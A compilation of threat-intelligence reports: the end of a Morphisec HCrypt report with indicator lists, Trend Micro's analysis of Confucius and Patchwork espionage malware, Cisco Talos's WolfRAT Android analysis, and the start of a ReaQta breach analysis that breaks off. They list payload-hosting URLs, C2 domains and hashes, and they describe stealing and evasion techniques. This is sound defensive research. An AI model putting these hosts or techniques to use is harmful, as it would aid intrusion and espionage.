NGAV solutions that rely on detecting attacks and quickly responding to them. The technology that underpins Morphisec Guard and Morphisec Keep empowers our users to prevent HCrypt infections through the power of zero-trust security and moving target defense. As a result, Morphisec customers are secured against HCrypt’s evasive techniques. ## IOCs ### .VBS Hashes - 889eaa568c65b917c24e3d7301c1a3e99d6f10036384280235464a9233ce0755 - 062d09b6832e9b5a2fff20f806afaf0ef6c2f24fbebd444fa64460a2fc889a9a - 56a51dceed5843e1102fe9a186ae2f64fa3a0075ec593071a4901d110cc8b9a0 - 48f86ac7173fd1a4391b3cc020b648da4739797a9364306754f7ef84c504a602 - af740c9761f7bcb47bc1f343756aa38acc4028b7479afc8b6c0923e0e1ea9f71 - 156f878a58a723ef292b720021541018cb4f58569b84506547eb7318803c4719 ### Encoding.txt URLs - hxxps://arkan-intl[.]com/test/Encoding.txt - hxxps://arkan-intl[.]com/cli/123/Encoding.txt - hxxps://www.minpic[.]de/k/bh6k/1cm23o - hxxps://musichild[.]com/new/WORIVsHw2q.txt - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/812009738787094538/Encoding.txt - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/813468421689180160/Encoding.txt - hxxps://paulbeebe[.]net/new/8DhHHwfsj4.txt - hxxps://bit[.]ly/2Nak7y1 - hxxps://drkhuffash[.]com/dr/profile/pdf/XUihyXCeBDrc15GA1Bjz5SOqS0ISsyAJNz657b0ZO6f0mFX7eO.txt - hxxps://cdn.discordapp[.]com/attachments/799692408425152526/801201232181461022/Encoding.txt - hxxp://ahmedadel[.]work/cairo/Encoding.txt - hxxps://bit[.]ly/3b4v25r - hxxps://www.haztesociounicef[.]org/news/AtyKPgCxeTa1hz3O.txt - hxxps://bit[.]ly/3qNincQ - hxxps://consultorescaracas[.]com/daikin/et8AcVpIRcXMZYK4.txt - hxxps://cdn.discordapp[.]com/attachments/819263032848023567/819268293331910726/hhh.txt ### ALL.txt URLs - hxxps://www.minpic[.]de/k/bisn/4ocw2 - hxxps://www.minpic[.]de/t/bjcn/e7riu - hxxps://musichild[.]com/new/wIgmt2wHxl.txt - hxxps://swiftlend[.]co/3/zxcvbnm.txt - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/812009679306752030/ALL.txt - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/813468376059871243/ALL.txt - hxxps://paulbeebe[.]net/new/yPOF2gHBwq.txt - hxxps://drkhuffash[.]com/dr/profile/pdf/TyeWmyddEHyUkXSAwnqIUMYHu6db8w1HwvfLbcZxkBe9frvINo.txt - hxxps://cdn.discordapp[.]com/attachments/799692408425152526/801201147557838848/ALL.txt - hxxp://ahmedadel[.]work/cairo/ALL.txt - hxxp://212.83.46[.]50/Le_vb_ou1/ALL.txt - hxxps://www.haztesociounicef[.]org/news/xfTBPoVhRlWJacgF.jpg - hxxps://consultorescaracas[.]com/daikin/Kk48b1teljgcq13c.jpg - hxxps://cdn.discordapp[.]com/attachments/819263032848023567/819268121441468416/ggg.txt ### Startup URLs - hxxps://raw.githubusercontent[.]com/hbankers/PE/main/start.txt - hxxps://raw.githubusercontent[.]com/HCrypter/Startup/main/Startup.txt - hxxps://arkan-intl[.]com/test/startup.txt - hxxps://ia801503.us.archive[.]org/13/items/startup_20210219/Startup.txt - hxxps://www.haztesociounicef[.]org/news/rVKlDKx54iwajzVQ.jpg - hxxps://consultorescaracas[.]com/daikin/IHrFGuJfmH8F2Uxz.txt ### AV Bypass URLs - hxxps://www.minpic[.]de/k/bism/130ic5 - hxxps://www.minpic[.]de/t/bjcm/89s9i - hxxps://musichild[.]com/new/xmJqblU8Rv.txt - hxxps://swiftlend[.]co/3/asdfghjkl.txt - hxxps://paulbeebe[.]net/new/1ADkQzIIK4.txt - hxxps://drkhuffash[.]com/dr/profile/pdf/qfzddvlD5rj7GmsLrsOQFmi0S6vWURpYS8IrEumQgphyXva2GB.txt ### Server.txt URLs - hxxps://www.minpic[.]de/k/bisj/9pd5u - hxxps://www.minpic[.]de/t/bjcl/kkbjv - hxxps://www.minpic[.]de/k/bh6i/w7x0l - hxxps://musichild[.]com/new/4MHYGnB24l.jpg - hxxps://swiftlend[.]co/3/qwertyuiop.jpg - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/812009591747248198/Server.txt - hxxps://cdn.discordapp[.]com/attachments/811626296828362765/813468294782386276/Server.txt - hxxps://paulbeebe[.]net/new/5L9uNupT85.jpg - hxxps://drkhuffash[.]com/dr/profile/pdf/w1LvERgQo2QMd4ejKOBtlsV3URGzw7Y0MQGnCDn3viWvhjwXnc.jpg - hxxps://cdn.discordapp[.]com/attachments/799692408425152526/801200822250766346/Ps1.txt - hxxps://cdn.discordapp[.]com/attachments/799692408425152526/801200633712738355/Server.txt - hxxps://raw.githubusercontent[.]com/hbankers/PE/main/PE03.txt - hxxp://ahmedadel[.]work/cairo/Server.txt - hxxp://212.83.46[.]50/Le_vb_ou1/Ps1.txt - hxxp://212.83.46[.]50/Le_vb_ou1/Server.txt - hxxps://www.haztesociounicef[.]org/news/xfTBPoVhRlWJacgF.jpg - hxxps://consultorescaracas[.]com/daikin/b1PiciWzZbBhXt2e.jpg - hxxps://cdn.discordapp[.]com/attachments/819263032848023567/819267934458871838/gg.txt ### DLL Loader hashes - 04542ea3eb0c4ea24dad9812e0b6ced53713b0b34de6bb2da65f37530de6fcde - 93bedbcc0966a25f2e75842d35dee1d1341442364d11227e01d8027b83d7295e - aeb1ccde34c619c31dd5cda910b44f40d61693d741edc1c709a7d12ac35ff413 - 34807a67fc0544e4be3d68c77e612e2f85fc6f94d4f6d1cb66fbf0bdba252c03 - 88d3a3e236cb516d5c611137787de02c13a0f0e181a0769f034215286f60bbac - eeb598905d33f5ab187120871e7d4843f1667240dcc7b5a20176c217bc9f355e - 5aa16a090fb4970ac9f75dab854b00c7d53e3b451e648a5736ba036b014c3ef9 - c51a059befab64a419daca0f89035f76bb6df8cd1bfbe2add86fe99ecb7b4fa2 - 346e63a414180bb8fa68feb7cb880176c3a844a5f612be6cbdc6314c4805e7ae - 591e0a561db9f6c48da6a2cd6de54fe3383013b365e91c82c3ee402cd892e66c - 6f73d0eeaf10d07eeaa840b6d87721d588e122b1da5dd89134bc3fae766864ca - b8c25d22704c6283484f31e4c93c9a8218a7ded0c4eaaa25d4ba6651671eb5b9 - 2fc9acb069395724ff675c3105c83b5b1a2f796e135137139f04a7e735e015e6 - 509170c23d98804247819c4ebd77166d136a5b308ac6ecd51f1718c94f51b300 - 26cd68ea31b2292884495c473408f57aae395e9ecf68c61ca35c845687d1fe3e - 767cb50af381422041293506bdbd7f3bf61d2cee8e7a544044914f5e40f444cb - 7ecf77eb4db5b4356c31947dcbe94bb32d11358f998a3f6d3c9efd8add75855b - 3a4d0b2a7e148481b226487f3b3dbd4da21f25b0c0338f69b6fd8d83848ba19b - 7976ce3cdaec5bb2efd5f1dce173da5b0b2f641687c62191b45745c2877c3acd - 666ead6942ee443c940cef709e4154f9504556e156f3b6c29293b6e9ecb82fb8 - bcabb89e1844c3ca287cbce09858e012558745618e306e30f9a2c8b90c39f1a3 - 249ccdb51990316bfb29b1c9f60bb18308b0c886d82ede31be2fa514d3c31cea - 2540d0fe25a04509b335785123720f369e4653853ae936cbd58b572c39d0f431 - 9b0f6da78cb332837a58151631ec8365f9b3b73a15e1a7bd7deb12d4fd292355 - b61bc4fd7433fb398914edd2836199c6f3460f41c04cc77d818b6d79b6927ec3 - c794bb62fb418e8a1714cdb287b8fcd3c793a84722431a5ba3ff81b5519b2a73 - 35e1f198e418d9b2159f4a8c4854cd5a946eae2af7371e8d4f28be7eb78274ac - 1f36a2037afa944638a1c632050ea3a2fd6ddc50870964ee443711bdf8c28566 - 2295bbce9416770cc77833823c20605c1f5002c51e5e8a09a72a417ccf29b92d - 9c06d7c8b3524567bf1d1b9d9aefd46e940b9c2c124fd50531a4849a6882ef2a - 5ddda940a90a4b79957f033ac85f0ac1ca5c46b3925522b6e44ad522aa3380ee - 3f06f4b7a020931b6a2cd3f8050ed0d94c976772e4ce36c4d8dbac78bd10be27 - b3a044ab459a1e70340ae9c4b8484bf1b68b2fa11c57def5479422d365250565 - 8aa3976141cb8e0c8306434931746c0b700df2d704649246bc43db5f61dde5ed - 12f9bdb9197a5437eeea0cd2419c9a8eaaa621e208165a0c5d580d5bc4ba14a7 - 4106a1f14468c98d92f67d27c54dbc42314ffe67eac1a268b38c30b988ea51d2 - d8ff4738a6da37b834f4681a83a9591b999ff061548c6432cffb6df37f37994f - 6db41f7e78636b3bade4b2953855f5674a63763932941d8814c4af414892a734 - 4a8f59964bb90eba303ea73a0f4440f45d0fe0e0c5371b569bab1620bf79a882 - e23179b00e8e54e704c5a394c89fb55d4b10f9ba4d52b77481a05a6de03dbbd8 - 5e48705c3797048bb82decfbccb4724d5e08a221b0ca40bd25c6c5c82d6d8306 - a1d8c723426f855b8bb8c1514847d576ace3d9fe08392342c619d479feb483aa - 157d5a56fcf275edfa2b69fe552b623e381ae8d3cdaef6caf81be981deb14cf3 ### RAT Payload hashes - a1edc6c62de6d977129d30afe9bf3eeef861cc30130010727850a4aba88c5563 - 8b3cbc1b071fb32bcf85c48cae6b88ee2cb85583d8d84e9b90f491011a3bc714 - 6a006dcab4d0ca117e02edca339a3a5af673c6b589491025597f9d986aaf3385 - 1d40b59b1b6ff37fe7afa8c48e34c91e0bfefc7d0baab55e752d19fb8ccb201c - 6c484addd53ad0ecac3354f0b3c59a8ccb22239e9e11182efc7727f99a4620be - 9868b203bf1056ac0269a4fc698c5f3509d209d61c1db3c8a3046713d12d4813 - fdbb642769e8cc0eec1e09d29c9635d76d5885abb07deca4d2ef5c84bbba5c67 - 55b97a1fa7b42ff23971de62e36b8e56b4a3302ca70b48c0de602e887887879d - 90b91e7d93b48f0d4a978d28917fb107ffb3938a19cdc3ee95c5a301cc7f4e7e - ca8a443734edc8d6433e8caaa6b64156cb1f4fe8683736ac94ca3e3997222fbb - a53b2f8546c27d7bfc4b121d341394b8f333aed1b7c3524c8cde82559c188363 - D75ef162f413e2f392f9a84b2d0d549a74e7810a5e36d036a16697019810540f ### C2 domains - 194.33.45[.]109 - arieldon.linkpc[.]net - fat7e07.ddns[.]net - 100k1.ddns[.]net - 100k2.ddns[.]net - top.killwhenabusing1[.]xyz - clayroot2016.linkpc[.]net - remmyma.duckdns[.]org - Getpass.ddns[.]net - 194.127.179[.]127 - ahmed210183.linkpc[.]net ### H-Crypt hashes - V5.5: a4e269dba2a0ac1b7f85ed50595656dc5173d99a992c558a7fa4f3452fc8fba3 - V5.6: B607ca2a63f05e932756c12bf58abd8e6ec81ee596cf7f5d808b70fa867f0fa6
# Confucius Update: New Tools and Techniques, Further Connections with Patchwork **Posted on:** May 23, 2018 at 5:00 am **Posted in:** Targeted Attacks **Author:** Trend Micro Cyber Safety Solutions Team by Daniel Lunghi and Jaromir Horejsi Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia. During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets. During their previous campaign, we found Confucius using fake romance websites to entice victims into installing malicious Android applications. This time, the threat actor seems to have a new modus operandi, setting up two new websites and new payloads with which to compromise its targets. The first website uses adult content as a lure, via an Android application called Fuddi Duniya, which links to a website that displays nude pictures every day. The app’s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store. The app’s features are similar to the previous malicious Android application, such as having the ability to record audio and steal SMS, accounts, contacts, and certain file types from specific directories. In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content. The second fake website is again related to chat, with a background suggesting that it can help find users a partner. Initially, a link to a malicious Android application hosted on Google Play that shared the same features as the application described above was present. But after we reached out to Google while carrying out the research, the application was removed from the store and the link was removed from the fake website. Same as with the fake Tweety chat application we described in detail in our previous research, a Windows application with real chat features based on the open-source chat application RocketChat was offered. Similarly, this application also comes bundled with malicious .NET code. While small and relatively simple, we found this malicious application interesting to analyze as it revealed the countries targeted by the threat actor. The application is a simple downloader that sends some basic information (username, antivirus, IP address, and operating system version) encrypted using triple Data Encryption Standard (DES). Periodically, the malware tries to contact the Command-and-Control (C&C) server with the username encoded into parameters. Based on the information they retrieve, the operators can then decide to instruct the malware to download the second stage payload. This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper. An interesting feature of the downloader: It uses an online service to retrieve the victim’s IP address and country, which it compares with a list of allowed countries. If the victim seemingly comes from a different country, the program will self-delete and quit. This list contains: - Most of the South and Southeast Asian countries (including Mongolia) - Most of the Middle Eastern countries - Most of the African countries - Only Ukraine in Europe - Only Trinidad and Tobago in the Americas - No country from Oceania We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure. At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication. After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blog post. This one is called “sysctrls” and it looks for files with the following extensions: | Extension | File Type | |-----------|-----------| | .doc, .docx | Microsoft Word document | | .xls, .xlsx | Microsoft Excel document | | .ppt, .pptx | Microsoft PowerPoint presentation | | .png, .jpg, .jpeg | Image file | | .pst, .ost | Microsoft Outlook file | | .csv | Spreadsheet file | It then sends them via a POST HTTP request to windefendr[.]com/description.php. Further analysis of this filestealer revealed interesting links with other threat actor groups. We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius. Both groups used a backdoor with the same configuration file structure and commands. We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before. We initially spotted some visual similarities between the malware used. Although no forms are displayed while the malware is running, we can see its TForm object in the Delphi decompiler. The TForm object often has two TTimer objects — but sometimes we have seen one or even three of these objects — usually with random names. Occasionally, listboxes with encrypted strings are also added. While looking into any of the TTimers’ OnTimer methods, we often found a certain kind of structure: A pointer to an encrypted string stored in an EDX register followed by the call to the decryption function. This encouraged us to analyze the string encryption routines thoroughly. Our analysis revealed three of them. The first involves a very simple routine that flips every bit of the string. The second algorithm involves a hardcoded key, which is transformed by taking the five lower bits of each character, and then used as a XOR key. In some cases, the key is split in half in the binary, so it is first reunited before being used. Finally, our third algorithm uses a 94-character substitution table. This algorithm was previously discussed by security researchers in a Confucius-related blog post. For each of these routines, we found a recent sample going back to a domain name belonging to Patchwork’s infrastructure. The substitution tables of the third algorithm were randomly generated at build time, while the attacker seemingly set the keys used in the second algorithm. We found six different keys in the latter category that were different for the Patchwork and Confucius group. Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius as well as in two other file stealers. One file stealer published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group. The other file stealer is related to a domain reported in September 2016. That report also mentioned InPage software targeting and Delphi backdoors. After some research, we found multiple Delphi backdoors that used any of the three decryption routines. The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post. Some of these samples were several years old and had left the original name of the bit-flip decryption algorithm, which was “EnDecrypt”. ### Patchwork’s Ongoing Campaigns Aside from their Delphi malware, Patchwork is still active. Lately, they have been sending multiple RTF files exploiting CVE-2017-8570. The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com. The attackers sometimes design the weaponized documents to look like legitimate documents of interest to the target. The documents are also unusually large — often more than 10 megabytes. The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blog post. ### Defending against Confucius and Patchwork Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions ineffective. To help combat these kinds of threats, organizations will need to take a more proactive and focused security posture that can cover the most ground in terms of security. Some specific security measures organizations can implement: - Recognize social engineering attempts. Malicious mobile apps are common infection vectors for cybercriminals, as they can attract specific target audiences. In this case, Confucius went with the common adage “sex sells.” - Proactively monitor the organization’s network. Threat actors are notorious for creating stealthy malware that can bypass superficial network monitoring. A more proactive stance that includes proper application of firewalls and intrusion detection and prevention systems can help mitigate the impact of an attack. - Implement network segmentation. Even with the best security technology, there is still a chance of an attack slipping through. Separating the network into individual parts, as well as restricting access to only those who really need it, can mitigate the damage that occurs in case of a successful attack. - Update systems regularly. Everything from endpoints to network software to IoT devices should be patched and updated to prevent or minimize the chance of a threat actor exploiting a vulnerability. In an ideal scenario, an organization’s in-house security team implements all of these and other security measures. The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks. Since these teams also handle the day-to-day IT requirements of the organization, taking on a more involved and proactive stance may not be easy. In this case, an organization can look into third-party security providers who can handle specialized work, such as root cause analysis and detailed research, and also provide a remediation plan that gives organizations a better chance against advanced threats. ### Trend Micro Solutions Patchwork uses email as an entry point, which is why securing the email gateway is important. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users. At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of Patchwork’s attacks. These solutions are powered by Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protect physical, virtual, and cloud workloads.
# The Wolf is Back **By Warren Mercer, Paul Rascagneres, and Vitor Ventura.** ## News Summary Thai Android devices and users are being targeted by a modified version of DenDroid we are calling "WolfRAT," now targeting messaging apps like WhatsApp, Facebook Messenger, and Line. We assess with high confidence that this modified version is operated by the infamous Wolf Research. This actor has shown a surprising level of amateur actions, including code overlaps, open-source project copy/paste, classes never being instanced, unstable packages, and unsecured panels. ## Executive Summary Cisco Talos has discovered a new Android malware based on a leak of the DenDroid malware family. We named this malware "WolfRAT" due to strong links between this malware (and the command and control (C2) infrastructure) and Wolf Research, an infamous organization that developed interception and espionage-based malware and was publicly described by CSIS during Virus Bulletin 2018. We identified infrastructure overlaps and string references to previous Wolf Research work. The organization appears to be shut down, but the threat actors are still very active. We identified campaigns targeting Thai users and their devices. Some of the C2 servers are located in Thailand. The panels also contain Thai JavaScript comments, and the domain names also contain references to Thai food, a tactic commonly employed to entice users to click/visit these C2 panels without much disruption. We identified a notable lack of sophistication in this investigation such as copy/paste, unstable code, dead code, and panels that are freely open. ## What's New? WolfRAT is based on a previously leaked malware named DenDroid. The new malware appears to be linked to the infamous Wolf Research organization and targets Android devices located in Thailand. ## How Did It Work? The malware mimics legit services such as Google service, Google Play, or Flash update. The malware is not really advanced and is based on a lot of copy/paste from public sources available on the Internet. The C2 infrastructure contains a lack of sophistication such as open panels and reuse of old servers publicly tagged as malicious. ## So What? After being publicly denounced by CSIS Group — a threat intelligence company in Denmark — Wolf Research was closed, and a new organization named LokD was created. This new organization seems to work on securing Android devices. However, thanks to the infrastructure sharing and forgotten panel names, we assess with high confidence that this actor is still active, still developing malware, and has been using it from mid-June to today. On the C2 panel, we found a potential link between Wolf Research and another Cyprus organization named Coralco Tech, which is also working on interception technology. ## Links to Wolf Intelligence During the Virus Bulletin conference in 2018, CSIS researchers Benoît Ancel and Aleksejs Kuprins did a presentation on Wolf Research and the offensive arsenal developed by the organization. They mentioned an Android, iOS, and Windows remote access tool (RAT). Their findings showed that Wolf is headquartered in Germany with offices in Cyprus, Bulgaria, Romania, India, and (possibly) the U.S. The organization was closed after the CSIS presentation. However, the director created a new organization in Cyprus named LokD. This new organization proposed the creation of a more secure Android phone. Based on the organization website, it also proposes services and developed zero-day vulnerabilities to test their own products. We can see that the organization owner still has an interest in Android devices. Based on infrastructure overlaps and leaked information, we assess with high confidence that the malware we identified and present in this paper is linked to Wolf Research. ## One of the Samples One of the samples (e19823a1ba4a0e40cf459f4a0489fc257720cc0d71ecfb7ad94b3ca86fbd85d1) uses the C2 server svcws.ponethus.com. Based on our research and Benoît Ancel's tracker, this C2 was used by Wolf Intelligence. Additionally, we identified two empty panels on a C2 server. The new one with the title "Coralco Archimedes," and an older version with the title "Wolf Intelligence." The new panel name contains "Coralco" in its name. Coralco Tech is an organization located in Cyprus and providing interception tools. We cannot say for sure if Wolf Research and Coralco Tech are linked, but this panel name, their offerings, and the panel layout suggest it should be considered suspiciously linked. ## Victimology on the Identified Campaigns The campaigns we analyzed targeted Android devices in Thailand. The C2 server domain is linked to Thai food: - Nampriknum.net: Nam Phrik Num - Somtum.today: Som Tum We also identified comments in Thai on the C2 infrastructure mentioned in the previous chapter. ## Malware The Android malware is based on the DenDroid Android malware. Several analysis reports were published on this malware in 2014, and finally, the source code was leaked in 2015. The original leak is no longer available on github.com, but a copy can be found. The table below shows the commands available to the operator for tasking on infected devices. This malware is simplistic in comparison to some modern-day Android malware. The best example of that is that it doesn't take advantage of the accessibility framework, collecting information on non-rooted devices. The commands are self-explanatory and show the features included in the malware. Some of them like takephoto, takevideo, recordaudio, getsentsms, and uploadpictures are focused on espionage activities. Others like transferbot, promptupdate, and promptuninstall are meant to help the operator manage the malware. ### Version #1: June 2019 — Domain: databit.today During our investigation, we identified at least four major releases of the RAT. The permissions on the first version of the malware lay out the foundations of a spying trojan. **Permissions** The package name follows the original style name used on DenDroid. The code is obfuscated but not packed. This malware also contains a screen recorder. This feature is implemented using another open-source software package. The service is implemented in the class com.serenegiant.service.ScreenRecorderService which is declared in the package manifest. During our analysis of this sample, we did notice that the class itself is never called or used by the malware. It remains available within the source code but no method of use takes place. ### Version #2: June - Aug. 2019 — Domain: somtum.today This is the first version that shows the code organization evolution that will continue to be used on all other functions throughout this malware. **Code Structure** Obviously, this code is not obfuscated when compared with the previous version. It becomes clear that this is the same code base. One of the first changes that stands out is that the screen recording feature mentioned in the previous sample has been removed. A new class was added called com.utils.RestClient. This class is based on public code belonging to the package praeda.muzikmekan. Just like in previous examples, the malware author does not use this package. **Missing Permissions** The lack of the READ_FRAME_BUFFER permission can be justified by the removal of the screen record feature. The ACCESS_SUPERUSER may have been removed because it was deprecated upon the release of Android 5.0 Lollipop which happened in 2014. The reality is that the RAT permissions can be implemented just with the permissions declared on the manifest, thus there is no need for higher permissions. ### Version #3: Sept. - Dec. 2019 — Domain: ponethus.com Given that there is some overlap in the previous two versions, it came as no surprise to us that we finally identified a sample which is an evolution based on both previous versions. This sample is clearly a mix between the two. This is also the first version where the package name changes into something that a less aware user may be tricked by, com.android.playup. This version brings back the ACCESS_SUPERUSER and READ_FRAME_BUFFER permissions. However, this time, the permission is actually used. **WhatsApp Message Capture** The service com.serenegiant.service.ScreenRecorderService is invoked by the ScreenRecorderActivity. Upon creation, this activity launches a thread that will loop on a 50-second interval. In the first iteration, the screen recording is started and will only stop when the RAT determines that WhatsApp is not running. It's restarted in the next cycle independently based on if WhatsApp is running. In this version, the developer added more classes from the same package. Even though we could not find indications of being in use, two stand out: Bluetooth — which allows the interaction with the Bluetooth interface, and net/deacon — which implements a beaconing system based on UDP. **Android Shell** A new package was added that allows the execution of commands in the Android shell. Again, this package source code is publicly available. One of the uses the malware gives to this package is the execution of the command "dumpsys" to determine if certain activities are running. **Check if Chat Apps are Running** The malware is searching for Line, Facebook Messenger, and WhatsApp activities. This is part of a class called CaptureService, which already existed in the previous version but it was not duly implemented. **Previous Version** The capture service class implements the chat applications interception. Upon creation, the class will start to take screenshots that will be stopped and uploaded to the C2 once the service can't find the targeted applications running. The core of this functionality is also based on an open-source project. Another novelty is a VPN-related package, which is based on OrbotVPN. Once again, it doesn't seem to actually be in use. The same happens with the package squareup.otto, which is an open-source bus implementation focused on Android implementation. ### Version #4: April 2020 — Domain: nampriknum.net Following the same pattern, this version has some added features and others, which were not in use, removed. First of all, the new package name is com.google.services, which can easily be confused with a legitimate Google service. The VPN package is no longer present, further reinforcing our conclusion that it was not in use. **WolfRAT Application Screen** The Google GMS and Firebase service has been added; however, no configuration has been found, even though services seem to be referenced in a new class. The new class is called NotificationListener and extends the NotificationListenerService class. This would allow the RAT to receive system notifications. **Notification Handling Method** The class is only implemented in debug mode, pushing all captured information into the log. The usage of the PlusShare API in 2020 denotes some unprofessional development, since this is the API to access Google+. This service, along with the API, was fully decommissioned in March 2019. This version adds one significant class — it requests DEVICE_ADMIN privileges. **Device Admin Policies** Looking at the policy's definition, we can see that it lists all the available policies even if most of them are deprecated on Android 10.0 and their usage results in a security exception. The code implementation again seems that it has been added for testing purposes only. **Versions Overview** The DenDroid code base was kept to such an extent that even the original base64-encoded password was kept. The main service follows the same structure as the first version; the anti-analysis features are primitive, only checking the emulator environment without any kind of packing or obfuscation. The malware will start the main service if all the requested permissions and the device admin privileges are granted. Otherwise, it will launch an ACTION_APPLICATION_SETTINGS intent trying to trick the user to grant the permissions. Each sample contains a userId hardcoded, meaning that each sample can only be used in a victim. It seems, however, if the same victim has more than one device, the malware can be reused since the IMEI is sent along with each data exfiltration. It is clear that this RAT is under intense development; however, the addition and removal of packages, along with the huge quantity of unused code and usage of deprecated and old techniques denotes an amateur development methodology. ## Conclusion We witness actors continually using open-source platforms, code, and packages to create their own software. Some are carried out well, others, like WolfRAT, are designed with an overload of functionality in mind as opposed to factoring any sensible approach to the development aspect. After all, a working product is often more important than a stable product. We watched WolfRAT evolve through various iterations which shows that the actor wanted to ensure functional improvements — perhaps they had deadlines to meet for their customers, but with no thought given to removing old code blocks, classes, etc. throughout the Android package. WolfRAT is a specifically targeted RAT which we assess to be aimed at Thai individuals and, based on previous work from Wolf Research, most likely used as an intelligence-gathering tool or interception tool. This can be packaged and "sold" in many different ways to customers. A "Tracking tool" or an "Admin tool" are often cited for these kinds of tools for "commercial" or "enterprise" usage. Wolf Research claimed to shut down their operations, but we clearly see that their previous work continues under another guise. The ability to carry out these types of intelligence-gathering activities on phones represents a huge score for the operator. The chat details, WhatsApp records, messengers, and SMSs of the world carry some sensitive information which people often forget when communicating with their devices. We see WolfRAT specifically targeting a highly popular encrypted chat app in Asia, Line, which suggests that even a careful user with some awareness around end-to-end encryption chats would still be at the mercy of WolfRAT and its prying eyes. ## Coverage Ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically. - Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. - Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## IOCs ### Hashes - 139edb1bc033725539b117f50786f3d3362ed45845c57fe1f82e7ed72b044367 - e19823a1ba4a0e40cf459f4a0489fc257720cc0d71ecfb7ad94b3ca86fbd85d1 - e5f346d8f312cc1f93c2c6af611e2f50805c528934786ea173cabc6a39b14cda - 1849a50a6ac9b3eec51492745eeb14765fe2e78488d476b0336d8e41c2c581d4 - d328fca14c4340fcd4a15e47562a436085e6b1bb5376b5ebd83d3e7218db64e7 - 59b9809dba857c5969f23f460a2bf0a337a71622a79671066675ec0acf89c810 - 120474682ea439eb0b28274c495d9610a73d892a4b8feeff268c670570db97e2 - ed234e61849dcb95223676abe2312e1378d6130c0b00851d82cda545b946ec83 - 27410d4019251a70d38f0635277f931fb73f67ac9f2e1f3b475ce680ebfde12a - 6e6c210535b414c5aa2dd9e67f5153feeb43a8ac8126d8e249e768f501323a3e - 4a32ced20df7001da7d29edc31ca76e13eef0c9b355f62c44888853435e9794f - ac5abaebd9f516b8b389450f7d27649801d746fb14963b848f9d6dad0a505e66 - 3a45d7a16937d4108b5b48f44d72bb319be645cbe15f003dc9e77fd52f45c065 ### Domains - cvcws.ponethus.com - svc.ponethus.com - www.ponethus.com - webmail.ponethus.com - nampriknum.net - www.nampriknum.net - svc.nampriknum.net - svcws.nampriknum.net - svc.somtum.today - svcws.somtum.today - www.somtum.today - somtum.today - shop.databit.today - svc.databit.today - test.databit.today - www.databit.today - admin.databit.today - cendata.today - svc.cendata.today - svcws.cendata.today - www.cendata.today
# Leonardo S.p.A. Data Breach Analysis ReaQta Threat Intelligence Team identified the malware used in an exfiltration operation against the defence contractor Leonardo S.p.A. The analysis of the malware, dubbed Fujinama, highlights its capabilities for data theft and exfiltration while maintaining a reasonably low profile, despite a lack of sophistication, mostly due to the fact that the malicious vector was manually installed by an insider. ## Data Breach Leonardo S.p.A. (formerly Finmeccanica) is the 8th largest defence contractor. Partially owned by the Italian government, the company is widely known for their AgustaWestland Helicopters, major contributions to the Eurofighter project, development of naval artillery, armoured vehicles, underwater systems, implementation of space systems, electronic defence, and more. On the 5th of December 2020, the CNAIPIC (National Computer Crime Center for Critical Infrastructure Protection), a unit specialized in computer crime, part of the Polizia di Stato (the Italian Police), reported the arrest of 2 individuals in relation to a data theft operation, identified for the first time in January 2017, against Leonardo S.p.A.’s infrastructure. The anomalous activity was identified by the company’s security unit and quickly reported to the authorities that started an extensive investigation. Though the company’s initial report identified the leak to be negligible in volume, the CNAIPIC’s investigation found the amount to actually be significant, with 100,000 files exfiltrated for a total of 10GB of data from 33 devices in a single location, tracking the final infection to a total of 94 different devices. The attack was considered an APT by the Italian Police, carried out by a single person who manually installed a custom malware on each targeted machine. Physical attacks are hard to detect, as any local access to 